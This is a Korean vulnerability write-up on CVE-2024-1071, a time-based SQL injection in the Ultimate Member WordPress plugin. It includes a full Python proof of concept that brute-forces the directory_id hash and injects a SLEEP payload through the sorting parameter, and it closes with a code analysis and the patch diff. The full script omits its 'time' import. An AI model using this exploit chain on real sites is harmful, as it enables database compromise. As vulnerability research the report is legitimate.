[CVE-2024-1071] 취약점 분석 보고서
Ultimate Member에서 발생하는 SQL Injection 취약점
1. Description
Ultimate Member 플러그인의 Enable custom table for usermeta 옵션이 활성화 되어 있을 때 발생한다. directory_id
가 POST_ID
의 특정 부분에서 파생되고 있고 directory_id
를 찾기 위한 요청에 제한이 없기 때문에 무차별 대입 공격(Brute Force)에 취약하다. direcotry_id
를 알아낸다면 사용자 입력값을 그대로 수용하는 sorting 변수가 존재하기 때문에 SQL Injection
공격이 가능하다.
2. Affected Version
- Ultimate Member 2.1.3 ~ 2.8.2
3. PoC
3.1 취약한 버전 확인
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def check_version(target):
"""Check if the WordPress plugin version is vulnerable."""
print("[bold yellow][+] Searching for vulnerable versions...")
try:
response = requests.get(f"{target}/wp-content/plugins/ultimate-member/readme.txt", verify=False)
version = re.search(r"Stable tag: (.*)", response.text).group(1)
except Exception:
print("[bold red][-] Error 404 - Version not found!")
sys.exit(0)
version_number = int(version.replace('.', ''))
if 212 < version_number < 283:
print(f"[bold green][+] {version} - ✅ Vulnerable!")
else:
print(f"[bold red][-] {version} - ❎ Not Vulnerable!")
sys.exit(0)
3.2 로그인
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_login_session(username, password):
"""Log in to the WordPress site and return the session object."""
session = requests.session()
data = {
"log": username,
"pwd": password,
"wp-submit": "Login",
"testcookie": "1",
}
response = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if any("wordpress_logged_in_" in cookie for cookie in response.cookies.keys()):
print(f"[bold green][+] Successfully logged in with account {username}.")
return session
else:
print("[bold red][-] Login Failed.")
sys.exit(0)
3.3 설정 변경
해당 취약점은 사용자 정의 테이블 옵션이 활성화 되어 있어야 하고 워드프레스 고유주소가 /%postname%/
로 변경되어 있어야 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def update_settings(session):
"""Update WordPress permalink and plugin settings."""
# Update permalink settings
permalink_response = session.get(f"{TARGET}/wp-admin/options-permalink.php", proxies=proxies)
wp_nonce = re.search(r'name="_wpnonce" value="([^"]+)"', permalink_response.text).group(1)
wp_data = {
"_wpnonce": wp_nonce,
"_wp_http_referer": "/wp-admin/options-permalink.php",
"selection": "/%postname%/",
"permalink_structure": "/%postname%/",
"submit": "변경사항 저장",
}
post_permalink_response = session.post(f"{TARGET}/wp-admin/options-permalink.php", data=wp_data, proxies=proxies)
if post_permalink_response.status_code == 200:
print("[bold green][+] Permalink updated successfully.")
else:
print("[bold red][-] Failed to update permalink settings.")
sys.exit(0)
# Update Ultimate Member settings
misc_response = session.get(f"{TARGET}/wp-admin/admin.php?page=um_options&tab=misc", proxies=proxies)
um_nonce = re.search(r'name="__umnonce" value="([^"]+)"', misc_response.text).group(1)
um_data = {
"um-settings-action": "save",
"um_options[form_asterisk]": "0",
"um_options[enable_blocks]": "0",
"um_options[member_directory_own_table]": "1",
"submit": "변경 사항 저장",
"__umnonce": um_nonce,
}
post_misc_response = session.post(f"{TARGET}/wp-admin/admin.php?page=um_options&tab=misc", data=um_data, proxies=proxies)
if post_misc_response.status_code == 200:
print("[bold green][+] Settings updated successfully.")
else:
print("[bold red][-] Failed to update settings.")
sys.exit(0)
3.4 로그아웃
설정을 변경한 뒤 로그아웃한다.
1
2
3
4
5
6
7
8
def logout(session):
"""Log out from the WordPress site."""
response = session.get(f"{TARGET}/logout", proxies=proxies)
if response.status_code == 200:
print("[bold green][+] Successfully logged out.")
else:
print("[bold red][-] Failed to log out.")
sys.exit(0)
3.5 Brute Force & SQL Injection
register
페이지에서 nonce
값을 획득하고 Brute Force 요청을 보내 directory_id
를 찾아낸다. 이후 유효한 directory_id
는 sorting
과 함께 SQL Injection 공격에서 사용된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
def get_nonce():
"""Extract nonce value for further requests."""
response = requests.get(f"{TARGET}/register", proxies=proxies)
match = re.search(r'um_scripts\s*=\s*\{[^}]*"nonce":"([^"]+)"', response.text)
if match:
nonce = match.group(1)
print(f"[bold green][+] Nonce value found: {nonce}.")
return nonce
else:
print("[bold red][-] Failed to find nonce value.")
sys.exit(0)
def get_directory_id(nonce):
"""Find a valid directory ID using the nonce."""
for i in range(1, 100):
directory_id = hashlib.md5(str(i).encode()).hexdigest()[10:15]
payload = {
"action": "um_get_members",
"nonce": nonce,
"directory_id": directory_id,
}
response = requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=payload, proxies=proxies)
if response.status_code == 200 and '"success":true' in response.text:
print(f"[bold green][+] Valid directory ID found: {directory_id}.")
return directory_id
print("[bold red][-] Failed to find a valid directory ID.")
sys.exit(0)
def attempt_sql_injection(nonce, directory_id):
"""Attempt an SQL injection using the provided nonce and directory ID."""
payload = {
"action": "um_get_members",
"nonce": nonce,
"directory_id": directory_id,
"sorting": "ID AND (SELECT 42 FROM (SELECT(SLEEP(5)))b)",
}
start_time = time.time()
response = requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=payload, proxies=proxies)
end_time = time.time()
elapsed_time = end_time - start_time
if '"success":true' in response.text and elapsed_time >= 5:
print("[bold green][+] SQL injection successful: 5-second delay observed.")
else:
print("[bold red][-] SQL injection attempt failed.")
전체 PoC 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
import re
import sys
import hashlib
import requests
from rich import print
# Constants
TARGET = "http://localhost:8000"
PROXY_SERVER = "http://localhost:8080"
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
def check_version(target):
"""Check if the WordPress plugin version is vulnerable."""
print("[bold yellow][+] Searching for vulnerable versions...")
try:
response = requests.get(f"{target}/wp-content/plugins/ultimate-member/readme.txt", verify=False)
version = re.search(r"Stable tag: (.*)", response.text).group(1)
except Exception:
print("[bold red][-] Error 404 - Version not found!")
sys.exit(0)
version_number = int(version.replace('.', ''))
if 212 < version_number < 283:
print(f"[bold green][+] {version} - ✅ Vulnerable!")
else:
print(f"[bold red][-] {version} - ❎ Not Vulnerable!")
sys.exit(0)
def get_login_session(username, password):
"""Log in to the WordPress site and return the session object."""
session = requests.session()
data = {
"log": username,
"pwd": password,
"wp-submit": "Login",
"testcookie": "1",
}
response = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if any("wordpress_logged_in_" in cookie for cookie in response.cookies.keys()):
print(f"[bold green][+] Successfully logged in with account {username}.")
return session
else:
print("[bold red][-] Login Failed.")
sys.exit(0)
def update_settings(session):
"""Update WordPress permalink and plugin settings."""
# Update permalink settings
permalink_response = session.get(f"{TARGET}/wp-admin/options-permalink.php", proxies=proxies)
wp_nonce = re.search(r'name="_wpnonce" value="([^"]+)"', permalink_response.text).group(1)
wp_data = {
"_wpnonce": wp_nonce,
"_wp_http_referer": "/wp-admin/options-permalink.php",
"selection": "/%postname%/",
"permalink_structure": "/%postname%/",
"submit": "변경사항 저장",
}
post_permalink_response = session.post(f"{TARGET}/wp-admin/options-permalink.php", data=wp_data, proxies=proxies)
if post_permalink_response.status_code == 200:
print("[bold green][+] Permalink updated successfully.")
else:
print("[bold red][-] Failed to update permalink settings.")
sys.exit(0)
# Update Ultimate Member settings
misc_response = session.get(f"{TARGET}/wp-admin/admin.php?page=um_options&tab=misc", proxies=proxies)
um_nonce = re.search(r'name="__umnonce" value="([^"]+)"', misc_response.text).group(1)
um_data = {
"um-settings-action": "save",
"um_options[form_asterisk]": "0",
"um_options[enable_blocks]": "0",
"um_options[member_directory_own_table]": "1",
"submit": "변경 사항 저장",
"__umnonce": um_nonce,
}
post_misc_response = session.post(f"{TARGET}/wp-admin/admin.php?page=um_options&tab=misc", data=um_data, proxies=proxies)
if post_misc_response.status_code == 200:
print("[bold green][+] Settings updated successfully.")
else:
print("[bold red][-] Failed to update settings.")
sys.exit(0)
def logout(session):
"""Log out from the WordPress site."""
response = session.get(f"{TARGET}/logout", proxies=proxies)
if response.status_code == 200:
print("[bold green][+] Successfully logged out.")
else:
print("[bold red][-] Failed to log out.")
sys.exit(0)
def get_nonce():
"""Extract nonce value for further requests."""
response = requests.get(f"{TARGET}/register", proxies=proxies)
match = re.search(r'um_scripts\s*=\s*\{[^}]*"nonce":"([^"]+)"', response.text)
if match:
nonce = match.group(1)
print(f"[bold green][+] Nonce value found: {nonce}.")
return nonce
else:
print("[bold red][-] Failed to find nonce value.")
sys.exit(0)
def get_directory_id(nonce):
"""Find a valid directory ID using the nonce."""
for i in range(1, 100):
directory_id = hashlib.md5(str(i).encode()).hexdigest()[10:15]
payload = {
"action": "um_get_members",
"nonce": nonce,
"directory_id": directory_id,
}
response = requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=payload, proxies=proxies)
if response.status_code == 200 and '"success":true' in response.text:
print(f"[bold green][+] Valid directory ID found: {directory_id}.")
return directory_id
print("[bold red][-] Failed to find a valid directory ID.")
sys.exit(0)
def attempt_sql_injection(nonce, directory_id):
"""Attempt an SQL injection using the provided nonce and directory ID."""
payload = {
"action": "um_get_members",
"nonce": nonce,
"directory_id": directory_id,
"sorting": "ID AND (SELECT 42 FROM (SELECT(SLEEP(5)))b)",
}
start_time = time.time()
response = requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=payload, proxies=proxies)
end_time = time.time()
elapsed_time = end_time - start_time
if '"success":true' in response.text and elapsed_time >= 5:
print("[bold green][+] SQL injection successful: 5-second delay observed.")
else:
print("[bold red][-] SQL injection attempt failed.")
if __name__ == '__main__':
username = "root"
password = "1234"
check_version(TARGET)
session = get_login_session(username, password)
update_settings(session)
logout(session)
nonce = get_nonce()
directory_id = get_directory_id(nonce)
attempt_sql_injection(nonce, directory_id)
PoC 실행 화면
4. Analysis
class-ajax-common.php 파일에서 아래 코드가 먼저 실행되어 비로그인 사용자를 위한 ajax 액션이 등록된다.
1
2
3
// wp-content/plugins/ultimate-member/includes/core/class-ajax-common.php
add_action( 'wp_ajax_nopriv_um_get_members', array( UM()->member_directory(), 'ajax_get_members' ) );
admin-ajax.php 파일 내 if 문 조건에 따라 비로그인 사용자는 미리 등록되어 있는 액션이 없을 경우, 액션을 수행할 수 있는 권한이 없다. 하지만 class-ajax-common.php 파일에서 이미 액션이 등록되었기 때문에 wp_die
함수는 호출되지 않고 요청이 허용된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// wp-admin/admin-ajax.php
$action = $_REQUEST['action'];
if ( is_user_logged_in() ) {
// If no action is registered, return a Bad Request response.
if ( ! has_action( "wp_ajax_{$action}" ) ) {
wp_die( '0', 400 );
}
/**
* Fires authenticated Ajax actions for logged-in users.
*
* The dynamic portion of the hook name, `$action`, refers
* to the name of the Ajax action callback being fired.
*
* @since 2.1.0
*/
do_action( "wp_ajax_{$action}" );
} else {
// If no action is registered, return a Bad Request response.
if ( ! has_action( "wp_ajax_nopriv_{$action}" ) ) {
wp_die( '0', 400 );
}
/**
* Fires non-authenticated Ajax actions for logged-out users.
*
* The dynamic portion of the hook name, `$action`, refers
* to the name of the Ajax action callback being fired.
*
* @since 2.8.0
*/
do_action( "wp_ajax_nopriv_{$action}" );
}
admin-ajax.php 파일에서 do_action
을 통해 실행된 wp_ajax_nopriv_um_get_members
액션은 연결된 콜백 함수 ajax_get_members
를 호출한다. 이 함수 후반부에서 쿼리가 실행되므로 Brute Force를 통해 알아낸 directory_id
를 post 요청의 매개변수로 사용해야 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// includes/core/class-member-directory-meta.php
function ajax_get_members() {
UM()->check_ajax_nonce();
global $wpdb;
$blog_id = get_current_blog_id();
if ( empty( $_POST['directory_id'] ) ) {
wp_send_json_error( __( 'Wrong member directory data', 'ultimate-member' ) );
}
$directory_id = $this->get_directory_by_hash( sanitize_key( $_POST['directory_id'] ) );
}
Post ID
를 기준으로 directory_id
를 생성하고 설정하고 있다. Post ID
를 MD5 해시로 변환하여 11번째 문자부터 5개의 문자를 가져와 directory_id로 사용한다. 따라서, 특정 Post ID
가 주어지면 해당 ID에 대응하는 고유한 directory_id
가 생성된다고 볼 수 있으며 탐색 공간이 많지 않아 directory_id
를 충분히 찾아낼 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
// includes/core/class-member-directory.php
function get_directory_by_hash( $hash ) {
global $wpdb;
$directory_id = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE SUBSTRING( MD5( ID ), 11, 5 ) = %s", $hash ) );
if ( empty( $directory_id ) ) {
return false;
}
return (int) $directory_id;
}
sorting
변수는 sortby
변수에 저장되기 전 살균 과정을 거치지만 sanitize_text_field
함수는 SQL Injection 방어에 적합하지 않다.
1
2
3
// includes/core/class-member-directory-meta.php
$sortby = ! empty( $_POST['sorting'] ) ? sanitize_text_field( $_POST['sorting'] ) : $directory_data['sortby'];
따라서 sortby
에 페이로드는 정렬 조건에 그대로 삽입된다.
1
2
3
// includes/core/class-member-directory-meta.php
$this->sql_order = " ORDER BY u.{$sortby} {$order} ";
SQL Injection을 통해 완성된 최종 쿼리이다. order by 절에서 sorting 매개변수를 그대로 사용하면서 데이터베이스의 응답이 5초 동안 지연되었다.
1
2
3
4
5
6
7
SELECT SQL_CALC_FOUND_ROWS DISTINCT u.ID
FROM wp_users AS u
LEFT JOIN wp_um_metadata umm_general ON umm_general.user_id = u.ID
WHERE 1=1 AND ( umm_general.um_key = 'um_member_directory_data' AND
umm_general.um_value LIKE '%s:14:"account_status";s:8:"approved";%' AND
umm_general.um_value LIKE '%s:15:"hide_in_members";b:0;%' )
ORDER BY u.ID AND (SELECT 42 FROM (SELECT(SLEEP(5)))b) ASC
5. Patch Diff
기존 코드에서는 직접적으로 $sortby
변수가 조인 쿼리에 삽입되었다.
1
2
3
4
5
6
7
if ( false !== array_search( $sortby, $metakeys ) ) {
$this->joins[] = "LEFT JOIN {$wpdb->prefix}um_metadata umm_sort ON ( umm_sort.user_id = u.ID AND umm_sort.um_key = '{$sortby}' )";
$this->sql_order = " ORDER BY CAST( umm_sort.um_value AS CHAR ) {$order} ";
} else {
$this->sql_order = " ORDER BY u.{$sortby} {$order} ";
}
Ultimate-member 2.8.3 버전에서는 esc_sql
함수로 입력값을 이스케이프 처리하면서 SQL Injection을 방어하였다.
1
2
3
4
5
6
7
8
9
10
11
12
if ( in_array( $sortby, $this->core_users_fields, true ) ) {
$sortby = esc_sql( $sortby );
$order = esc_sql( $order );
$order = in_array( strtoupper( $order ), array( 'ASC', 'DESC' ), true ) ? $order : 'ASC';
$this->sql_order = " ORDER BY u.{$sortby} {$order} ";
} elseif ( in_array( $sortby, $metakeys, true ) ) {
$this->joins[] = $wpdb->prepare( "LEFT JOIN {$wpdb->prefix}um_metadata umm_sort ON ( umm_sort.user_id = u.ID AND umm_sort.um_key = %s )", $sortby );
$order = esc_sql( $order );
$order = in_array( strtoupper( $order ), array( 'ASC', 'DESC' ), true ) ? $order : 'ASC';
$this->sql_order = " ORDER BY CAST( umm_sort.um_value AS CHAR ) {$order} ";
}
6. Discussion
wp_ajax_nopriv_um_get_members
AJAX 엔드포인트에서 발생한 취약점은 사용자 입력값, 특히 sorting
파라미터에 대해 올바르게 검증하지 않아 발생했다. 부적절한 입력값 검증으로 공격자가 쿼리의 ORDER BY
절에 악의적인 SQL 코드를 삽입할 수 있었으며 안전한 SQL 처리 방식도 아니었으므로 취약점이 발생했다고 볼 수 있다.